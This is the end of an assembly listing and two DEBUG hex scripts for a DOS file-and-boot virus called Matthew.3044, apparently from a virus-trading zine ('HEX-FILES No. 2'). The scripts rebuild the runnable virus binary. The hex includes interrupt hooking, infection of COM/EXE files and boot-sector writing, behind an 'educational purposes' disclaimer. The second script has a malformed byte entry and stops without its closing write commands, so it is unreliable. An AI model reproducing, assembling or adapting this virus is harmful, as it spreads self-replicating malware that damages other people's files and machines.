cmp ax,2 ; if "file not found" error
jne GetReturnCode ; execute command.com
nop
nop
call SetCommandComForExec
jmp ExecuteCommandCom
GetReturnCode:
cli
mov ss,ExeSs
mov sp,ExeSp
sti
mov ah,4dh ; get return code
int 21h
mov ah,4ch ; terminate
int 21h
HostComRestorer:
mov cx,ComLength ; restore host com and execute it
add cx,2
mov si,offset EndVirusCode
mov di,100h
shr cx,1
cld
repe movsw
not word ptr es:[100h]
mov bx,100h
jmp bx
ExecuteHostProgram:
cmp FileTypeFlag,0
je isHostExe
nop ; copy com host restorer to
nop ; somewhere near end of segment
mov di,0fde8h
mov cx,(ExecuteHostProgram-HostComRestorer)
mov si,offset HostComRestorer
cld
repe movsb
mov bx,0fde8h
jmp bx
isHostExe:
mov ax,es ; set up segment and pointers and
add ax,ExeSs ; execute host exe
mov ss,ax
mov sp,ExeSp
mov ax,es
add ax,ExeCs
mov HostProgramSegment,ax
mov ax,ExeIp
mov HostProgramOffset,ax
clc
jmp HostProgram
PrepareToMoveCode:
mov HostProgramSegment,cs
mov HostProgramOffset,offset MoveCode
mov di,100h
push cs
pop ds ; copy virus to start of segment
mov si,offset MatthewEntry ; psp:100
cld
mov cx,(offset MoveCode-offset MatthewEntry)
nop
MoveCode:
nop
repe movsb
push es
mov ax,offset SetUpMatthew
push ax
retf
;---------------------------------------- host com code starts here
EndVirusCode:
db 32h,0dfh ;cd 20
Matthew ends
end MatthewEntry
ÄÄ MATT3044.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
EoF.
ÄÄ MATT3044.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
N MATT3044.COM
E 0100 E9 9D 01 0D 0D 20 20 20 20 0A 0D 0A 0D DA C4 C4
E 0110 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4
E 0120 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4
E 0130 C4 BF 0D 0A B3 20 4C 6F 6F 6B 20 61 74 20 74 68
E 0140 65 20 62 69 72 64 73 20 6F 66 20 74 68 65 20 61
E 0150 69 72 2C 20 20 20 20 20 B3 0D 0A B3 20 74 68 65
E 0160 79 20 64 6F 20 6E 6F 74 20 73 6F 77 20 6F 72 20
E 0170 72 65 61 70 20 6F 72 20 73 74 6F 72 65 20 20 B3
E 0180 0D 0A B3 20 61 77 61 79 20 69 6E 20 62 61 72 6E
E 0190 73 2C 20 79 65 74 20 79 6F 75 72 20 48 65 61 76
E 01A0 65 6E 6C 79 20 20 B3 0D 0A B3 20 46 61 74 68 65
E 01B0 72 20 66 65 65 64 73 20 74 68 65 6D 2E 20 41 72
E 01C0 65 20 79 6F 75 20 6E 6F 74 20 20 20 20 B3 0D 0A
E 01D0 B3 20 6D 75 63 68 20 6D 6F 72 65 20 76 61 6C 75
E 01E0 61 62 6C 65 20 74 68 61 6E 20 74 68 65 79 3F 20
E 01F0 20 20 20 20 B3 0D 0A C3 C4 C4 C4 C4 C4 C4 C4 C4
E 0200 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4
E 0210 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 B4 0D 0A B3 20
E 0220 4D 61 74 74 68 65 77 20 36 3A 32 36 20 31 73 74
E 0230 20 42 61 74 2E 39 34 20 28 53 77 20 26 20 53 68
E 0240 29 20 B3 0D 0A C0 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4
E 0250 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4
E 0260 C4 C4 C4 C4 C4 C4 C4 C4 C4 D9 0A 0D 0A 0D 24 0D
E 0270 20 0D 0A 00 1A A1 92 05 05 E4 0B 00 00 00 00 00
E 0280 00 00 00 08 04 0A 06 00 00 00 D9 05 00 00 01 01
E 0290 4C 0A DA 04 06 04 DA 04 55 01 08 04 F8 06 DA 04
E 02A0 E9 85 08 00 00 00 00 DB 0C D9 05 41 3A 5C 4D 41
E 02B0 54 54 48 45 57 2E 43 4F 4D 00 00 00 00 00 00 00
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02F0 00 00 00 00 00 00 00 00 00 00 00 24 05 00 20 00
E 0300 C1 01 D8 06 68 24 39 21 00 00 00 00 D4 04 3D 00
E 0310 06 D4 04 00 00 00 00 00 52 02 00 00 00 B4 0F CD
E 0320 10 2E 88 3E 1A 03 C3 B4 03 2E 8A 3E 1A 03 CD 10
E 0330 2E 89 16 1B 03 C3 B4 02 2E 8A 3E 1A 03 CD 10 C3
E 0340 2E 8A 3E 1A 03 B4 08 CD 10 C3 2E 8A 3E 1A 03 B4
E 0350 09 CD 10 C3 0E 1F 0E 07 33 D2 BF 0D 01 E8 D6 FF
E 0360 26 8A 05 B3 26 83 C7 01 E8 DF FF 80 C2 01 80 FA
E 0370 25 72 EA 83 C7 02 B2 00 80 C6 01 80 FE 09 72 DD
E 0380 C3 0E 07 0E 1F BF E4 0C E8 9C FF 33 D2 B9 01 00
E 0390 E8 A3 FF E8 AA FF 26 89 05 83 C7 02 80 C2 01 80
E 03A0 FA 25 72 EC B2 00 80 C6 01 80 FE 09 72 E2 33 D2
E 03B0 E8 83 FF E8 9E FF B4 00 CD 16 33 D2 BF E4 0C E8
E 03C0 74 FF 26 8B 05 8A DC 83 C7 02 E8 7D FF 80 C2 01
E 03D0 80 FA 25 72 EA B2 00 80 C6 01 80 FE 09 72 E0 2E
E 03E0 8B 16 1B 03 E8 4F FF C3 06 33 C0 8E C0 26 C6 06
E 03F0 EC 03 87 07 C3 2E C7 06 18 03 00 00 C3 2E C6 06
E 0400 16 03 00 C3 F0 FF 9C 2E FF 1E 94 02 9C 2E 80 3E
E 0410 16 03 01 74 56 90 90 2E 80 3E 17 03 01 74 4C 90
E 0420 90 06 1E 57 50 53 51 52 2E A1 04 04 2E 39 06 18
E 0430 03 72 25 90 90 3D 00 10 72 09 90 90 2E 81 2E 04
E 0440 04 00 10 E8 AF FF 2E C6 06 16 03 01 E8 CE FE 3C
E 0450 03 75 05 90 90 E8 29 FF 2E 83 06 18 03 01 5A 59
E 0460 5B 58 5F 1F 07 2E C6 06 16 03 00 9D CF 33 C0 8E
E 0470 C0 26 8E 16 E8 03 26 8B 26 F0 03 58 07 5D F9 C3
E 0480 55 06 50 33 C0 8E C0 26 8C 16 E8 03 26 89 26 F0
E 0490 03 58 07 9C 2E FF 1E 90 02 5D C3 E9 DC 01 4D 53
E 04A0 44 4F 53 35 2E 30 00 02 01 01 00 02 E0 00 40 0B
E 04B0 F0 09 00 12 00 02 00 00 00 00 00 00 00 00 00 00
E 04C0 00 29 F8 1E 34 28 4E 4F 20 4E 41 4D 45 20 20 20
E 04D0 20 46 41 54 31 32 20 20 20 FA 33 C0 8E D0 BC 00
E 04E0 7C 16 25 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B
E 04F0 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B
E 0500 3B 3B 3B 3B 3B 3B 40 F2 F5 4C DF B3 90 90 94 DF
E 0510 9E 8B DF 8B 97 9A DF 9D 96 8D 9B 8C DF 90 99 DF
E 0520 8B 97 9A DF 9E 96 8D D3 DF DF DF DF DF 4C F2 F5
E 0530 4C DF 8B 97 9A 86 DF 9B 90 DF 91 90 8B DF 8C 90
E 0540 88 DF 90 8D DF 8D 9A 9E 8F DF 90 8D DF 8C 8B 90
E 0550 8D 9A DF DF 4C F2 F5 4C DF 9E 88 9E 86 DF 96 91
E 0560 DF 9D 9E 8D 91 8C D3 DF 86 9A 8B DF 86 90 8A 8D
E 0570 DF B7 9A 9E 89 9A 91 93 86 DF DF 4C F2 F5 4C DF
E 0580 B9 9E 8B 97 9A 8D DF 99 9A 9A 9B 8C DF 8B 97 9A
E 0590 92 D1 DF BE 8D 9A DF 86 90 8A DF 91 90 8B DF DF
E 05A0 DF DF 4C F2 F5 4C DF 92 8A 9C 97 DF 92 90 8D 9A
E 05B0 DF 89 9E 93 8A 9E 9D 93 9A DF 8B 97 9E 91 DF 8B
E 05C0 97 9A 86 C0 DF DF DF DF DF 4C F2 F5 3C 3B 3B 3B
E 05D0 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B
E 05E0 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B
E 05F0 4B F2 F5 4C DF B2 9E 8B 8B 97 9A 88 DF C9 C5 CD
E 0600 C9 DF CE 8C 8B DF BD 9E 8B D1 C6 CB DF D7 AC 88
E 0610 DF D9 DF AC 97 D6 DF 4C F2 F5 3F 3B 3B 3B 3B 3B
E 0620 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B
E 0630 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 26 F2
E 0640 F5 F2 F5 AC 86 8C 8B 9A 92 DF BB 96 8C 94 DF B1
E 0650 9A 9A 9B 9A 9B D1 D1 D1 F2 F5 5D B4 0E BB 16 00
E 0660 B9 01 00 CD 10 C3 8A 04 3C 5D 74 0A 90 90 F6 D0
E 0670 E8 E8 FF 46 EB F0 C3 EB 0B 90 33 C0 8E D0 BC 00
E 0680 7C E8 F3 FF 5F B8 A2 01 2B F8 0E 1F 8B F7 E8 D5
E 0690 FF 33 C0 CD 16 CD 19 EB F3 55 AA BB 9B 04 B8 01
E 06A0 03 B9 01 00 B6 00 9C 2E FF 1E 9C 02 C3 BF 9E 04
E 06B0 BE E7 0C B9 44 00 FC F3 A4 C3 0E 07 0E 1F BB E4
E 06C0 0C B8 01 02 B9 01 00 B6 00 9C 2E FF 1E 9C 02 C3
E 06D0 50 53 51 52 56 57 1E 06 0E 07 2E C6 06 17 03 01
E 06E0 E8 D7 FF E8 C7 FF E8 B2 FF 2E C6 06 17 03 00 07
E 06F0 1F 5F 5E 5A 59 5B 58 C3 9C 80 FC 00 75 13 90 90
E 0700 F6 C2 80 75 0C 90 90 80 FA 02 74 05 90 90 E8 BF
E 0710 FF 9D 2E FF 2E 9C 02 1E 0E 1F BF AB 02 8C D8 1F
E 0720 8E C0 8B F2 B9 50 00 FC F3 A4 C3 33 C9 8B D1 B8
E 0730 00 42 E8 4B FD C3 0E 1F B9 5D 01 BF 0D 01 BE E2
E 0740 04 FC 8C D8 8E C0 8A 04 F6 D0 26 88 05 47 46 E2
E 0750 F1 C3 BA 00 01 2E 8B 0E 79 02 B4 40 2E 8B 1E FC
E 0760 02 E8 1C FD C3 B4 36 B2 00 E8 14 FD 3D FF FF 75
E 0770 04 90 90 F9 C3 33 D2 F7 E3 F7 E1 0B D2 75 09 90
E 0780 90 2E 3B 06 79 02 72 EB C3 0E 1F B9 0B 00 33 F6
E 0790 C6 84 D1 0A 9D 90 46 E2 F7 C3 E8 7A FF E8 E9 FF
E 07A0 B8 24 35 E8 DA FC 8C 06 9A 02 89 1E 98 02 B8 24
E 07B0 25 BA 6D 04 E8 C9 FC EB 12 90 B8 24 25 2E 8B 16
E 07C0 98 02 2E 8E 1E 9A 02 E8 B6 FC C3 E8 97 FF 72 EA
E 07D0 BA AB 02 B8 00 43 E8 A7 FC 72 DF 2E 89 0E FE 02
E 07E0 B8 01 43 B9 20 00 E8 97 FC 72 CF B8 02 3D E8 8F
E 07F0 FC 72 C7 2E A3 FC 02 8B D8 B8 00 57 E8 81 FC 2E
E 0800 89 16 04 03 2E 89 0E 06 03 BB FE FF B4 48 E8 6F
E 0810 FC 73 09 90 90 B4 48 E8 66 FC 72 9E 2E A3 02 03
E 0820 33 C9 8B D1 2E 8B 1E FC 02 B8 02 42 E8 51 FC 72
E 0830 1E 90 90 2E A3 00 03 E8 F1 FE 72 13 90 90 2E 8B
E 0840 0E 00 03 33 D2 2E 8E 1E 02 03 B4 3F E8 31 FC 72
E 0850 66 90 90 33 F6 2E C6 06 8E 02 01 81 3C 4D 5A 74
E 0860 53 90 90 2E A1 75 02 39 84 75 01 74 14 90 90 2E
E 0870 A1 77 02 39 84 77 01 74 08 90 90 E8 AD FE EB 04
E 0880 90 EB 34 90 2E A1 00 03 2E 03 06 79 02 3D E6 FD
E 0890 73 EF 0E 1F E8 BB FE 2E 8B 1E FC 02 2E 8B 0E 00
E 08A0 03 2E 8E 1E 02 03 F7 16 00 00 33 D2 B4 40 E8 CF
E 08B0 FB EB 04 90 EB 38 90 2E 8E 06 02 03 B4 49 E8 BF
E 08C0 FB 2E 8B 1E FC 02 2E 8B 16 04 03 2E 8B 0E 06 03
E 08D0 B8 01 57 E8 AA FB B4 3E E8 A5 FB 0E 1F BA AB 02
E 08E0 2E 8B 0E FE 02 B8 01 43 E8 95 FB C3 EB C9 2E C6
E 08F0 06 8E 02 00 2E 8E 1E 02 03 33 F6 81 7C 12 70 27
E 0900 74 EA 81 7C 12 71 27 74 E3 81 7C 12 72 27 74 DC
E 0910 81 7C 12 73 27 74 D5 81 7C 12 74 27 74 CE 81 7C
E 0920 12 75 27 74 C7 81 7C 12 76 27 74 C0 81 7C 12 77
E 0930 27 74 B9 81 7C 12 78 27 74 B2 81 7C 12 79 27 74
E 0940 AB 81 7C 12 7A 27 74 A4 81 7C 12 7B 27 74 9D 81
E 0950 7C 12 7C 27 74 96 81 7C 12 7D 27 74 8F 81 7C 12
E 0960 7E 27 74 88 FF 74 12 2E 8F 06 87 02 C7 44 12 70
E 0970 27 8B 44 0E 05 10 00 2E A3 83 02 8B 44 10 2E A3
E 0980 85 02 8B 44 14 2E A3 81 02 8B 44 16 05 10 00 2E
E 0990 A3 7F 02 FF 74 04 2E 8F 06 7B 02 FF 74 02 2E 8F
E 09A0 06 7D 02 33 C0 2E A0 89 02 05 70 27 89 44 12 8B
E 09B0 44 04 83 7C 02 00 74 03 90 90 48 BB 00 02 F7 E3
E 09C0 03 44 02 83 D2 00 05 0F 00 83 D2 00 25 F0 FF 2E
E 09D0 A3 08 03 2E 89 16 0A 03 2E 03 06 79 02 83 D2 00
E 09E0 72 5A 90 90 F7 F3 0B D2 74 03 90 90 40 89 44 04
E 09F0 89 54 02 2E A1 08 03 2E 8B 16 0A 03 BB 10 00 F7
E 0A00 F3 2B 44 08 2D 10 00 89 44 16 C7 44 14 00 01 89
E 0A10 44 0E C7 44 10 E4 0D 2E 8B 1E FC 02 E8 0C FD B9
E 0A20 1C 00 33 D2 B4 40 E8 57 FA 0E 1F 8B 16 08 03 8B
E 0A30 0E 0A 03 B8 00 42 E8 47 FA E8 16 FD E9 78 FE 9C
E 0A40 90 92 92 9E 91 9B D1 9C 90 92 00 24 9C 3D 00 4B
E 0A50 75 15 90 90 1E 06 56 57 50 53 51 52 E8 3B FD 5A
E 0A60 59 5B 58 5F 5E 07 1F 9D 2E FF 2E 90 02 B8 21 35
E 0A70 CD 21 8C 06 92 02 89 1E 90 02 C3 B8 21 25 0E 1F
E 0A80 BA 4C 0A CD 21 C3 B8 08 35 CD 21 8C 06 96 02 89
E 0A90 1E 94 02 2E C7 06 04 04 F0 FF C3 33 C0 8E C0 26
E 0AA0 8C 0E 22 00 B8 06 04 26 A3 20 00 C3 06 B8 13 35
E 0AB0 CD 21 2E 8C 06 9E 02 2E 89 1E 9C 02 07 C3 06 33
E 0AC0 C0 8E C0 26 8C 0E 4E 00 B8 F8 06 26 A3 4C 00 07
E 0AD0 C3 9D 9D 9D 9D 9D 9D 9D 9D 9D 9D 9D 00 24 26 8E
E 0AE0 06 2C 00 33 FF FC B0 00 26 3A 05 74 09 90 90 B9
E 0AF0 FF FF F2 AE EB F2 83 C7 03 2E 89 3E 0E 03 2E 8C
E 0B00 06 0C 03 C3 0E 1F B9 0B 00 33 F6 8A A4 3F 0A F6
E 0B10 D4 88 A4 D1 0A 46 E2 F3 BA D1 0A C3 06 2E 8E 06
E 0B20 2C 00 B4 49 CD 21 07 C3 2E 8C 06 8A 02 E8 AE FF
E 0B30 2E 8E 06 8A 02 06 33 C0 8E C0 26 80 3E EC 03 87
E 0B40 74 10 90 90 26 80 3E EC 03 78 74 06 90 90 07 E9
E 0B50 70 01 07 E9 2A 01 8C C0 FA 8E D0 83 EC 10 FB 2E
E 0B60 8E 1E A9 02 2E 8B 36 A7 02 BF DB 0C B9 09 00 FC
E 0B70 F3 A4 8E D8 E8 A5 FF E8 7B F8 E8 80 F8 E8 ED FE
E 0B80 E8 F8 FE E8 26 FF E8 35 FF E8 FA FE E8 0C FF E8
E 0B90 A4 FB 0E 07 0E 1F 26 A1 2C 00 2E A3 11 03 BE 0A
E 0BA0 00 BF E4 0C B9 06 00 FC F3 A5 BB CC 0B 26 89 1E
E 0BB0 0A 00 26 8C 0E 0C 00 BA E4 0C B4 4D E8 C1 F8 B9
E 0BC0 04 00 D3 EA 83 C2 30 B4 31 E8 B4 F8 E8 19 F8 0E
E 0BD0 0E 1F 2E 8E 06 8A 02 BE E4 0C BF 0A 00 B9 06 00
E 0BE0 FC F3 A5 07 2E A1 8A 02 BE F3 0C 89 44 04 C7 44
E 0BF0 02 80 00 89 44 08 C7 44 06 5C 00 89 44 0C C7 44
E 0C00 0A 6C 00 2E A1 11 03 89 04 B4 30 CD 21 2E A2 10
E 0C10 03 FA 2E 8C 16 83 02 2E 89 26 85 02 FB 2E 8E 1E
E 0C20 0C 03 2E 8B 16 0E 03 BB F3 0C B8 00 4B 2E 80 3E
E 0C30 10 03 03 72 08 90 90 E8 46 F8 EB 03 90 CD 21 73
E 0C40 0E 90 90 3D 02 00 75 07 90 90 E8 B7 FE EB D8 FA
E 0C50 2E 8E 16 83 02 2E 8B 26 85 02 FB B4 4D CD 21 B4
E 0C60 4C CD 21 2E 8B 0E 00 03 83 C1 02 BE E4 0C BF 00
E 0C70 01 D1 E9 FC F3 A5 26 F7 16 00 01 BB 00 01 FF E3
E 0C80 2E 80 3E 8E 02 00 74 13 90 90 BF E8 FD B9 1D 00
E 0C90 BE 63 0C FC F3 A4 BB E8 FD FF E3 8C C0 2E 03 06
E 0CA0 83 02 8E D0 2E 8B 26 85 02 8C C0 2E 03 06 7F 02
E 0CB0 2E A3 A9 02 2E A1 81 02 2E A3 A7 02 F8 2E FF 2E
E 0CC0 A7 02 2E 8C 0E A9 02 2E C7 06 A7 02 DB 0C BF 00
E 0CD0 01 0E 1F BE 00 01 FC B9 DB 0B 90 90 F3 A4 06 B8
E 0CE0 56 0B 50 CB 16 4E 01 0D 20 20 20 0D 0A 4D 61 62
E 0CF0 75 68 61 79 21 0D 0A 0A 54 68 69 73 20 69 73 20
E 0D00 4D 61 74 74 68 65 77 2E 33 30 34 34 20 76 69 72
E 0D10 75 73 20 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75
E 0D20 20 66 72 6F 6D 20 74 68 65 20 50 68 69 6C 69 70
E 0D30 70 69 6E 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20
E 0D40 74 6F 20 79 6F 75 20 6C 69 76 65 20 62 79 20 48
E 0D50 45 58 2D 46 49 4C 45 53 20 4E 6F 2E 20 32 0D 0A
E 0D60 0A 48 45 58 2D 46 49 4C 45 53 20 61 6E 64 20 50
E 0D70 75 74 6F 6B 73 61 20 4B 61 77 61 79 61 6E 20 61
E 0D80 72 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62
E 0D90 6C 65 20 66 6F 72 20 61 63 74 75 61 6C 2C 20 69
E 0DA0 6D 70 6C 69 65 64 20 61 6E 64 2F 6F 72 0D 0A 69
E 0DB0 6D 61 67 69 6E 61 72 79 20 64 61 6D 61 67 65 20
E 0DC0 62 72 6F 75 67 68 74 20 61 62 6F 75 74 20 62 79
E 0DD0 20 74 68 65 20 75 73 65 2C 20 6D 69 73 75 73 65
E 0DE0 20 6F 72 20 6E 6F 6E 2D 75 73 65 20 6F 66 20 74
E 0DF0 68 69 73 20 76 69 72 69 69 2E 20 54 68 65 0D 0A
E 0E00 70 65 72 73 6F 6E 20 77 68 6F 20 65 78 65 63 75
E 0E10 74 65 73 20 74 68 69 73 20 76 69 72 69 69 20 62
E 0E20 65 61 72 73 20 66 75 6C 6C 20 72 65 73 70 6F 6E
E 0E30 73 69 62 69 6C 69 74 79 20 66 6F 72 20 68 69 73
E 0E40 2F 68 65 72 20 61 63 74 69 6F 6E 73 2E 0D 0A 0A
E 0E50 54 68 69 73 20 76 69 72 69 69 20 69 73 20 73 74
E 0E60 72 69 63 74 6C 79 20 66 6F 72 20 65 64 75 63 61
E 0E70 74 69 6F 6E 61 6C 20 6F 72 20 72 65 73 65 61 72
E 0E80 63 68 20 70 75 72 70 6F 73 65 73 20 6F 6E 6C 79
E 0E90 2E 0D 0A 0A 24 08 20 1A 0E 1F BA 07 01 B4 09 CD
E 0EA0 21 B4 4C CD 21
RCX
0DA5
W
Q
ÄÄ MATT3044.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄ MAT3044B.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
N MAT3044B.COM
E 0100 E9 9D 01 0D 0D 20 20 20 20 0A 0D 0A 0D DA C4 C4
E 0110 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4
E 0120 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4
E 0130 C4 BF 0D 0A B3 20 4C 6F 6F 6B 20 61 74 20 74 68
E 0140 65 20 62 69 72 64 73 20 6F 66 20 74 68 65 20 61
E 0150 69 72 2C 20 20 20 20 20 B3 0D 0A B3 20 BC 8B 8D
E 0160 93 D2 BE 93 8B D2 B3 9A 99 8B AC 97 96 99 8B D2
E 0170 AD 96 98 97 8B AC 97 96 99 8B DB 72 65 20 20 B3
E 0180 0D 0A B3 20 61 77 61 79 20 69 6E 20 62 61 72 6E
E 0190 73 2C 20 79 65 74 20 79 6F 75 72 20 48 65 61 76
E 01A0 65 6E 6C 79 20 20 B3 0D 0A B3 20 46 61 74 68 65
E 01B0 72 20 66 65 65 64 73 20 74 68 65 6D 2E 20 41 72
E 01C0 65 20 79 6F 75 20 6E 6F 74 20 20 20 20 B3 0D 0A
E 01D0 B3 20 6D 75 63 68 20 6D 6F 72 65 20 76 61 6C 75
E 01E0 61 62 6C 65 20 74 68 61 6E 20 74 68 65 79 3F 20
E 01F0 20 20 20 20 B3 0D 0A C3 C4 C4 C4 C4 C4 C4 C4 C4
E 0200 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4
E 0210 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 B4 0D 0A B3 20
E 0220 4D 61 74 74 68 65 77 20 36 3A 32 36 20 31 73 74
E 0230 20 42 61 74 2E 39 34 20 28 53 77 20 26 20 53 68
E 0240 29 20 B3 0D 0A C0 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4
E 0250 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4
E 0260 C4 C4 C4 C4 C4 C4 C4 C4 C4 D9 0A 0D 0A 0D 24 0D
E 0270 20 0D 0A 00 1A A1 92 05 05 E4 0B 1F 00 66 01 00
E 0280 00 00 01 E7 03 00 02 00 00 00 D5 09 00 00 01 01
E 0290 4C 0A D6 08 06 04 D6 08 55 01 08 04 F8 06 D6 08
E 02A0 E9 85 08 00 00 00 00 DB 0C D5 09 43 3A 5C 4D 41
E 02B0 54 54 48 45 57 58 2E 43 4F 4D 00 00 00 00 00 00
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02F0 00 00 00 00 00 00 00 00 00 00 00 24 05 00 20 00
E 0300 D6 01 D4 0A 68 24 61 21 70 3D 00 00 D4 04 3D 00
E 0310 06 D4 04 00 00 00 00 00 FC 09 00 00 00 B4 0F CD
E 0320 10 2E 88 3E 1A 03 C3 B4 03 2E 8A 3E 1A 03 CD 10
E 0330 2E 89 16 1B 03 C3 B4 02 2E 8A 3E 1A 03 CD 10 C3
E 0340 2E 8A 3E 1A 03 B4 08 CD 10 C3 2E 8A 3E 1A 03 B4
E 0350 09 CD 10 C3 0E 1F 0E 07 33 D2 BF 0D 01 E8 D6 FF
E 0360 26 8A 05 B3 26 83 C7 01 E8 DF FF 80 C2 01 80 FA
E 0370 25 72 EA 83 C7 02 B2 00 80 C6 01 80 FE 09 72 DD
E 0380 C3 0E 07 0E 1F BF E4 0C E8 9C FF 33 D2 B9 01 00
E 0390 E8 A3 FF E8 AA FF 26 89 05 83 C7 02 80 C2 01 80
E 03A0 FA 25 72 EC B2 00 80 C6 01 80 FE 09 72 E2 33 D2
E 03B0 E8 83 FF E8 9E FF B4 00 CD 16 33 D2 BF E4 0C E8
E 03C0 74 FF 26 8B 05 8A DC 83 C7 02 E8 7D FF 80 C2 01
E 03D0 80 FA 25 72 EA B2 00 80 C6 01 80 FE 09 72 E0 2E
E 03E0 8B 16 1B 03 E8 4F FF C3 06 33 C0 8E C0 26 C6 06
E 03F0 EC 03 87 07 C3 2E C7 06 18 03 00 00 C3 2E C6 06
E 0400 16 03 00 C3 F0 FF 9C 2E FF 1E 94 02 9C 2E 80 3E
E 0410 16 03 01 74 56 90 90 2E 80 3E 17 03 01 74 4C 90
E 0420 90 06 1E 57 50 53 51 52 2E A1 04 04 2E 39 06 18
E 0430 03 72 25 90 90 3D 00 10 72 09 90 90 2E 81 2E 04
E 0440 04 00 10 E8 AF FF 2E C6 06 16 03 01 E8 CE FE 3C
E 0450 03 75 05 90 90 E8 29 FF 2E 83 06 18 03 01 5A 59
E 0460 5B 58 5F 1F 07 2E C6 06 16 03 00 9D CF 33 C0 8E
E 0470 C0 26 8E 16 E8 03 26 8B 26 F0 03 58 07 5D F9 C3
E 0480 55 06 50 33 C0 8E C0 26 8C 16 E8 03 26 89 26 F0
E 0490 03 58 07 9C 2E FF 1E 90 02 5D C3 E9 DC 01 4D 53
E 04A0 44 4F 53 35 2E 30 00 02 01 01 00 02 E0 00 40 0B
E 04B0 F0 09 00 12 00 02 00 00 00 00 00 00 00 00 00 00
E 04C0 00 29 F8 1E 34 28 4E 4F 20 4E 41 4D 45 20 20 20
E 04D0 20 46 41 54 31 32 20 20 20 FA 33 C0 8E D0 BC 00
E 04E0 7C 16 25 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B
E 04F0 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B
E 0500 3B 3B 3B 3B 3B 3B 40 F2 F5 4C DF B3 90 90 94 DF
E 0510 9E 8B DF 8B 97 9A DF 9D 96 8D 9B 8C DF 90 99 DF
E 0520 8B 97 9A DF 9E 96 8D D3 DF DF DF DF DF 4C F2 F5
E 0530 4C DF 43 74 72 6C 2D 416C 74 2D 4C 65 66 74 53
E 0540 68 69 66 74 2D 52 69 67 68 74 53 68 69 66 74 24
E 0550 8D 9A DF DF 4C F2 F5 4C DF 9E 88 9E 86 DF 96 91
E 0560 DF 9D 9E 8D 91 8C D3 DF 86 9A 8B DF 86 90 8A 8D
E 0570 DF B7 9A 9E 89 9A 91 93 86 DF DF 4C F2 F5 4C DF
E 0580 B9 9E 8B 97 9A 8D DF 99 9A 9A 9B 8C DF 8B 97 9A
E 0590 92 D1 DF BE 8D 9A DF 86 90 8A DF 91 90 8B DF DF
E 05A0 DF DF 4C F2 F5 4C DF 92 8A 9C 97 DF 92 90 8D 9A
E 05B0 DF 89 9E 93 8A 9E 9D 93 9A DF 8B 97 9E 91 DF 8B
E 05C0 97 9A 86 C0 DF DF DF DF DF 4C F2 F5 3C 3B 3B 3B
E 05D0 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B
E 05E0 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B
E 05F0 4B F2 F5 4C DF B2 9E 8B 8B 97 9A 88 DF C9 C5 CD
E 0600 C9 DF CE 8C 8B DF BD 9E 8B D1 C6 CB DF D7 AC 88
E 0610 DF D9 DF AC 97 D6 DF 4C F2 F5 3F 3B 3B 3B 3B 3B
E 0620 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B
E 0630 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 26 F2
E 0640 F5 F2 F5 AC 86 8C 8B 9A 92 DF BB 96 8C 94 DF B1
E 0650 9A 9A 9B 9A 9B D1 D1 D1 F2 F5 5D B4 0E BB 16 00
E 0660 B9 01 00 CD 10 C3 8A 04 3C 5D 74 0A 90 90 F6 D0
E 0670 E8 E8 FF 46 EB F0 C3 EB 0B 90 33 C0 8E D0 BC 00
E 0680 7C E8 F3 FF 5F B8 A2 01 2B F8 0E 1F 8B F7 E8 D5
E 0690 FF 33 C0 CD 16 CD 19 EB F3 55 AA BB 9B 04 B8 01
